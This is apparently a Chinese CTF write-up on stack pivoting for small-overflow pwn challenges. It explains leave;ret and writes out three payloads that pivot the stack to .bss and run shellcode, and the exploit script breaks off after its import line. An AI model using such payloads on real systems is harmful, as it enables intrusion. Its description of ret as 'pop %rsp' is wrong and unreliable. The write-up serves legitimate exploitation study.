看一下c的代码:
1 | //gcc pwn3.c -m32 -fno-stack-protector -o pwn3 |
这次主要是溢出的空间大幅度变小,这里运用到栈迁移的知识。
#AH2019-07-pwn例子:
自己还是菜,多多接触例子为妙,在大佬的指导下勉强认识了一波堆栈迁移的知识。
检查保护
发现所有保护并没有开。
来看看main函数:
看起来简单的栈溢出,其实溢出的空间十分有限,可供执行的参数只有0x20-(0x8+0x8),那可以用堆栈迁移。
这里得熟悉leave;ret的内容:
leave:
mov %rbp,%rsp 将%rbp的值赋给%rsp,使%rbp和%rsp指向一个位置
pop %rbp 将栈中保存的父栈帧的 %rbp 的值赋值给 %rbp,并且 %rsp 上移一个位置指向父栈帧的结尾处。
ret:
pop %rsp 从当前 %rsp 指向的位置(即栈顶)弹出数据,并跳转到此数据代表的地址处。
栈迁移:
在程序leave;ret的时候修改ebp/rsp寄存器的值,将shellcode放到bss段上
payload = 'A'*0x8 + p64(bss_start的地址-0x8) + p64(函数内read的起始地址) + p64(无效地址)
为了防止sendline尾部的0xA对rop链造成影响,故用send的方式,在send的方式下,程序会等待新的数据读入,如果没有最后的无效地址,在send第二个payload的时候,payload的前8个字节就会被吞
第一个payload打上
leave:
move %rbp,%rsp
pop %rbp
pop %rsp
可以看看gdb的调试情况:
之后往bss-0x8的地方写入数据
遇到mov %rbp,%rsp
pop %rbp
pop %rsp
所以可以将payload改成:
pay1 = ‘a’*8 + p64(bss_addr - 0x8) + p64(read_add) + p64(0xdeadbeef)
pay2 = ‘a’ *8 + p64(bss_addr + 0x8) + p64(read_add) + p64(0xdeadbeef)
pay3 = p64(bss_addr + 0x8) + shellcode
说一下payload2,此时数据情况:
遇到leave中的mov %rbp,%rsp
pop %rbp
ret:pop %rsp
payload3打上去情况:
leave:move %rbp,%rsp
:
pop %rbp
:
pop %rsp
:
RIP指向[BSS+0x8]地址,成功执行shellcode
exp:
1 | from pwn import * |